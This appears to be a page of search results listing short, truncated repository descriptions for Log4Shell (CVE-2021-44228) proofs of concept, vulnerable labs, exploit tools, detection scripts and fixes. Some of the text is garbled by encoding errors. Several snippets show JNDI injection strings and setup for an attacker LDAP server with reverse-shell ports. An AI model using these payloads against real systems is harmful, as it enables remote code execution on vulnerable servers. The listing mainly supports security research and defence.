34 matches found
Apache-Log4j-POC
Apache-Log4j-POC CVE-2021-44228 Prueba de concepto de la vulnerabilidad de bĆŗsqueda LDAP de Apache Log4j Puedes leer mĆ”s sobre la vulnerabilidad aquĆ: https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/ ĀæCómo ejecutar el servidor ldap proporcionado que devuelve un objeto...
log4j2-CVE-2021-44228
Aplicación vulnerable Log4j2 de muestra CVE-2021-44228 Versiones afectadas: todas las versiones desde 2.0-beta9 hasta 2.14.1 Esta aplicación se basa en una aplicación web Spring Boot vulnerable a CVE-2021-44228 Utiliza Log4j 2.14.1 a través de spring-boot-starter-log4j2 2.6.1. Ejecutando la...
CVE-2021-44228
Comprobador de CVE-2021-44228 Este es el repositorio para comprobar la vulnerabilidad CVE-2021-44228. Esto es una PoC que solo muestra cadenas sin ninguna carga de clase externa. No se puede utilizar para la ejecución arbitraria de código. ¿Cómo funciona? Paso 1: Ejecutar la aplicación del servid...
CVE-2021-44228-Demo
CVE-2021-44228-Demo å©ēØ CVE-2021-44228ļ¼éčæ RMI å LDAP äø¤ē§ę¹å¼čæēØę³Øå „代ē ē示ä¾ć root@kitploit: Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServer å LdapServer åÆåØä¾čµ Python3ć ...
test-44228
test-44228 Un ejemplo simple para CVE-2021-44228 Implementa dos CLI de Java, una usando log4j v1.x y la otra usando log4j 2.x para demostrar la vulnerabilidad log4shell. Ver tambiƩn: https://www.lunasec.io/docs/blog/log4j-zero-day/ https://www.oracle.com/security-alerts/alert-cve-2021-44228.html...
ModSec-log4j2
Probando la regla de ModSec Requisitos previos Tener docker instalado Tener Java instalado en tu mÔquina Ejecutando la prueba Realizar el git clone del repositorio Ejecutar el siguiente comando para levantar el WAF ModSec y la aplicación vulnerable root@kitploit: docker stack deploy -c...
CVE-2021-44228-PoC
CVE-2021-44228 Log4Shell Prueba de concepto Las funciones JNDI de Apache Log4j2 =2.14.1 utilizadas en la configuración, los mensajes de registro y los parÔmetros no protegen contra LDAP controlado por el atacante y otros endpoints relacionados con JNDI. Un atacante que pueda controlar los mensaje...
CVE-2021-44228-Apache-Log4j
CVE-2021-44228 Ejecución Remota de Código en Apache Log4j Versiones afectadas: todas las versiones desde 2.0-beta9 hasta 2.12.1 y desde 2.13.0 hasta 2.15.0 Avisos / Boletines de seguridad vinculados a Log4Shell CVE-2021-44228 Uso: 1. Descargue el proyecto y compile InjectClazz.java root@kitploit:...
log4j-exploit-fork-bomb
log4j-exploit-with-fork-bomb š£š„š Proof of Concept: å©ēØ CVE-2021-44228 ę¼ę“åØčæēØęå”åØäøåÆåØ fork bomb ēē¤ŗä¾ 1. å建ę»å»č ē LDAP ęå”åØļ¼server 樔åļ¼ļ¼čÆ„ęå”åØå°ęä¾å符串å代ē ē蔨示ļ¼payload 樔åļ¼ 2. å建å害č 示ä¾ļ¼victim 樔åļ¼ļ¼å¹¶å°åē¬¦äø²ä¼ éē» Log4j JRE ēę¬ = 6u211, 7u201, 8u191 å 11.0.1 root@kitploit: $jndi:ldap://127.0.0.1:1389/anything...
log4j-cve-2021-44228
Log4j CVE-2021-44228 ććć³ CVE-2021-45046 åęę”ä»¶ čå¼±ćŖJDKć使ēØćć¦ćć ćććä¾: JDK 1.8.0181 使ēØę¹ę³ ęŖęć®ćććµć¼ćć¼ ęŖęć®ćććµć¼ćć¼ćÆä»„äøć®ćØć³ććć¤ć³ćććććć¤ćć¾ć: 1389 LDAPćµć¼ćć¼ 1099 RMIćµć¼ćć¼ 8081 HTTPćµć¼ćć¼ root@kitploit: ./gradlew :malicious-server:bootRun čå¼±ćŖć¢ććŖć±ć¼ć·ć§ć³ čå¼±ćŖć¢ććŖć±ć¼ć·ć§ć³ćÆć8082 ć«1ć¤ć®HTTPćØć³ććć¤ć³ćććććć¤ćć¾ćć root@kitploit: ./gradlew...
CVE-2021-44228-Log4Shell-
CVE-2021-44228-Log4Shell- Pruebas de penetración 1. Crear un servidor LDAP malicioso usando Marshalsec !/bin/bash Script: startldapserver.sh YĆŖu cįŗ§u: CĆ i Äįŗ·t Java vĆ Marshalsec https://github.com/mbechler/marshalsec LDAPPORT="1389" HTTPPORT="8000" ATTACKERIP="192.168.0.101" REVERSEPORT="5555" ech...
log4shell-exploitation-lab
Laboratorio de Explotación Log4Shell CVE-2021-44228 Reproduje la vulnerabilidad Log4Shell de principio a fin en un entorno de laboratorio aislado, desde la explotación inicial hasta un informe de remediación completo. Realizado como parte de un trabajo de mÔster en pareja con Aditya Chaudhari,...
JNDI-Exploit-1.2-log4shell
JNDI-Exploit-1.2-log4shell 详ę : CVE-2021-44228 ēØę³ : root@kitploit: ----------------------------------------------------- java -jar JNDIExploit-1.2.jar -i AttackerIP -i, --ip ę¬å° IP å°å -l, --ldapPort LDAP ē»å®ē«Æå£ļ¼é»č®¤ļ¼1389ļ¼ -p, --httpPort HTTP ē»å®ē«Æå£ļ¼é»č®¤ļ¼8080ļ¼ -u, --usage ę¾ē¤ŗēØę³ļ¼é»č®¤ļ¼falseļ¼ -h, --help ę¾ē¤ŗę¤åø®å©...
log4shell-cve-lab
Laboratorio Log4Shell CVE-2021-44228 Este repositorio contiene un pequeƱo servicio HTTP vulnerable con Log4j 2.14.1 para CVE-2021-44228. Sentinel reprodujo este escenario el 2026-08-27 como un laboratorio sandbox desde cero. Las propiedades importantes de esa ejecución se conservan aquĆ: el...
log4j-jndi-be-gone
log4j-jndi-be-gone A Byte Buddy Java agent-based fix for CVE-2021-44228, the log4j 2.x "JNDI LDAP" vulnerability. It does three things: Disables the internal method handler for jndi: format strings "lookups". Logs a message to System.err i.e stderr indicating that a log4j JNDI attempt has been ma...
detect-log4j-exploitable
CVE-2021-44228 Un atacante que pueda controlar mensajes de registro o parÔmetros de mensajes de registro puede ejecutar código arbitrario cargado desde servidores LDAP cuando la sustitución de búsqueda de mensajes estÔ habilitada. Este script ayudarÔ a detectar la explotación de log4j a partir de...
CVE-2026-21011-Log4j-style-JNDI-Injection-in-Custom-Logger-Simulated-
CVE-2026-21011 ā Inyección JNDI estilo Log4j en un logger personalizado Simulado Código del programa simulación en Java en Python root@kitploit: log4jsim.py - Custom logger that evaluates $... patterns import subprocess, re def logmessage: Vulnerable: looks up JNDI-like syntax and executes patter...
homelab-CVE-2021-44228
Homelab: Log4Shell CVE-2021-44228 en Apache Solr Entorno controlado en Docker para reproducir y estudiar la vulnerabilidad Log4Shell en Apache Solr. El Entorno Objetivo solr-lab: Apache Solr v8.11.0 vulhub/solr:8.11.0 ejecutando una versión vulnerable de Log4j. Atacante kali-lab: Contenedor Kali...
log4j2-test
Comprobación de la vulnerabilidad de ejecución remota de código LDAP en Log4j2 2.14.1 CVE-2021-44228 š Probado en entorno Spring Boot 2.x Aviso de vulnerabilidad https://nvd.nist.gov/vuln/detail/CVE-2021-44228 target-server pom.xml: reduce la versión de Log4j2 a una versión vulnerable...
log4j-vul
log4j-vul Este proyecto solo tiene como objetivo mostrar la vulnerabilidad de Apache Log4j2 - tambiƩn conocida como CVE-2021-44228 Java: java version "1.8.0121" Compilar: from src folder javac -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar com\example\Log4jVul.java Ejecutar\Corre...